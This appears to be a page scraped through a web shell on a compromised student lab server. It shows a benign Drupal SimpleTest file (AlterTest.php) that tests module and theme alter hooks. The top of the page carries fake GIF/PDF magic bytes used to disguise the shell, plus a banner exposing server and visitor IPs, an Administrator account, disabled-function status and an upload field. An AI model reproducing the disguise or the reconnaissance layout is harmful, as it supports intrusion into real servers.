GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/system/src/Tests/Common/ |
Upload File : |
<?php namespace Drupal\system\Tests\Common; use Drupal\simpletest\WebTestBase; /** * Tests alteration of arguments passed to \Drupal::moduleHandler->alter(). * * @group Common */ class AlterTest extends WebTestBase { /** * Modules to enable. * * @var array */ public static $modules = ['block', 'common_test']; /** * Tests if the theme has been altered. */ public function testDrupalAlter() { // This test depends on Bartik, so make sure that it is always the current // active theme. \Drupal::service('theme_handler')->install(['bartik']); \Drupal::theme()->setActiveTheme(\Drupal::service('theme.initialization')->initTheme('bartik')); $array = ['foo' => 'bar']; $entity = new \stdClass(); $entity->foo = 'bar'; // Verify alteration of a single argument. $array_copy = $array; $array_expected = ['foo' => 'Drupal theme']; \Drupal::moduleHandler()->alter('drupal_alter', $array_copy); \Drupal::theme()->alter('drupal_alter', $array_copy); $this->assertEqual($array_copy, $array_expected, 'Single array was altered.'); $entity_copy = clone $entity; $entity_expected = clone $entity; $entity_expected->foo = 'Drupal theme'; \Drupal::moduleHandler()->alter('drupal_alter', $entity_copy); \Drupal::theme()->alter('drupal_alter', $entity_copy); $this->assertEqual($entity_copy, $entity_expected, 'Single object was altered.'); // Verify alteration of multiple arguments. $array_copy = $array; $array_expected = ['foo' => 'Drupal theme']; $entity_copy = clone $entity; $entity_expected = clone $entity; $entity_expected->foo = 'Drupal theme'; $array2_copy = $array; $array2_expected = ['foo' => 'Drupal theme']; \Drupal::moduleHandler()->alter('drupal_alter', $array_copy, $entity_copy, $array2_copy); \Drupal::theme()->alter('drupal_alter', $array_copy, $entity_copy, $array2_copy); $this->assertEqual($array_copy, $array_expected, 'First argument to \Drupal::moduleHandler->alter() was altered.'); $this->assertEqual($entity_copy, $entity_expected, 'Second argument to \Drupal::moduleHandler->alter() was altered.'); $this->assertEqual($array2_copy, $array2_expected, 'Third argument to \Drupal::moduleHandler->alter() was altered.'); // Verify alteration order when passing an array of types to \Drupal::moduleHandler->alter(). // common_test_module_implements_alter() places 'block' implementation after // other modules. $array_copy = $array; $array_expected = ['foo' => 'Drupal block theme']; \Drupal::moduleHandler()->alter(['drupal_alter', 'drupal_alter_foo'], $array_copy); \Drupal::theme()->alter(['drupal_alter', 'drupal_alter_foo'], $array_copy); $this->assertEqual($array_copy, $array_expected, 'hook_TYPE_alter() implementations ran in correct order.'); } }